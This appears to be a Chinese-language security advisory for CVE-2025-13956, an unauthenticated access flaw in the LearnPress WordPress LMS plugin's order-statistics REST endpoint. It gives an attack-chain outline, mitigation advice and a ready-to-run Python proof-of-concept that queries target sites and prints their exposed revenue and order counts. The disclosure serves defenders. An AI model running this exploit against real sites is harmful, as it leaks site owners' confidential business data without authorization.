IPBUF安全漏洞报告
English
CVE-2025-13956 CVSS 5.3 中危

CVE-2025-13956 | LearnPress WordPress LMS 插件未授权访问漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-13956
漏洞类型
未授权访问/越权漏洞
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LearnPress – WordPress LMS Plugin

相关标签

未授权访问越权漏洞WordPress插件漏洞LearnPress LMSREST API安全访问控制缺失CVE-2025-13956

漏洞概述

LearnPress是WordPress平台上一款流行的在线学习管理系统(LMS)插件,被广泛应用于创建和销售在线课程。该插件在4.3.1及之前版本中存在严重的未授权访问漏洞,根源在于其REST API端点中的统计功能函数缺少权限检查机制。攻击者无需任何认证即可访问敏感的统计接口,获取系统的订单统计数据,包括但不限于总收入摘要、订单状态分布(如待处理、已完成、已退款等各类订单数量统计)。这些信息对于攻击者而言具有重要的情报价值,可用于商业情报收集、竞争对手分析或策划进一步攻击。由于该插件安装量巨大,此次漏洞影响范围广泛,涉及众多教育机构和在线课程平台的敏感业务数据。

技术细节

漏洞存在于LearnPress插件的REST API实现中,具体文件为inc/rest-api/v1/frontend/class-lp-rest-orders-controller.php第36行附近的统计功能函数。该API端点(通常为/wp-json/learnpress/v1/orders/statistic)直接暴露了订单统计接口,但未实施任何权限验证检查。正常情况下,此类敏感数据应仅对管理员角色开放访问权限,需要检查current_user_can('manage_options')或类似权限。然而开发者遗漏了权限检查逻辑,导致任何未认证用户(包括匿名访客)均可通过发送HTTP GET请求直接调用该接口。响应数据以JSON格式返回,包含revenue(总收入)、order_counts(各类订单数量)等敏感字段。由于漏洞位于API层面,攻击者可通过简单脚本批量抓取数据,且不留明显日志痕迹。此类越权访问漏洞属于OWASP Top 10中的A01:2021 Broken Access Control类别。

攻击链分析

STEP 1
1
信息收集:攻击者识别目标网站使用的WordPress CMS,并检测LearnPress插件是否安装及版本号
STEP 2
2
漏洞探测:攻击者构造针对/wp-json/learnpress/v1/orders/statistic端点的HTTP GET请求
STEP 3
3
未授权访问:由于该端点缺少权限检查,服务器直接返回订单统计数据,无需任何认证信息
STEP 4
4
数据提取:攻击者获取总收入(revenue)、订单数量统计(order_counts)等敏感业务数据
STEP 5
5
情报利用:收集的数据可用于商业分析、竞争情报或进一步针对性攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-13956 PoC - LearnPress Unauthenticated Statistics Access # Target: WordPress site with LearnPress plugin <= 4.3.1 def exploit_learnpress_cve_2025_13956(target_url): """ Exploit for CVE-2025-13956: LearnPress Unauthenticated Access to Order Statistics This vulnerability allows unauthenticated attackers to view plugin's orders statistics, including total revenue summaries and order status counts via REST API endpoint. CVSS: 5.3 (Medium) - AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N """ # Target REST API endpoint endpoint = "/wp-json/learnpress/v1/orders/statistic" url = target_url.rstrip('/') + endpoint print(f"[*] Target: {url}") print(f"[*] Exploiting CVE-2025-13956...") try: # Send unauthenticated GET request headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/json' } response = requests.get(url, headers=headers, timeout=10, verify=False) print(f"[+] Status Code: {response.status_code}") if response.status_code == 200: data = response.json() print(f"[+] SUCCESS: Unauthenticated access to statistics!") print(f"[+] Response Data:") print(json.dumps(data, indent=2)) # Extract sensitive statistics if 'revenue' in data: print(f"\n[!] Total Revenue Exposed: {data.get('revenue')}") if 'order_counts' in data: print(f"[!] Order Counts Exposed: {data.get('order_counts')}") return data else: print(f"[-] Failed: Status {response.status_code}") print(f"[-] Response: {response.text[:500]}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2025_13956.py <target_url>") print("Example: python cve_2025_13956.py https://example.com") sys.exit(1) target = sys.argv[1] exploit_learnpress_cve_2025_13956(target)

影响范围

LearnPress WordPress LMS Plugin <= 4.3.1

防御指南

临时缓解措施
如果无法立即升级,可通过Web应用防火墙(WAF)规则阻止对/wp-json/learnpress/v1/orders/statistic端点的未授权访问,或在主题functions.php中添加临时权限检查代码限制该API端点的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表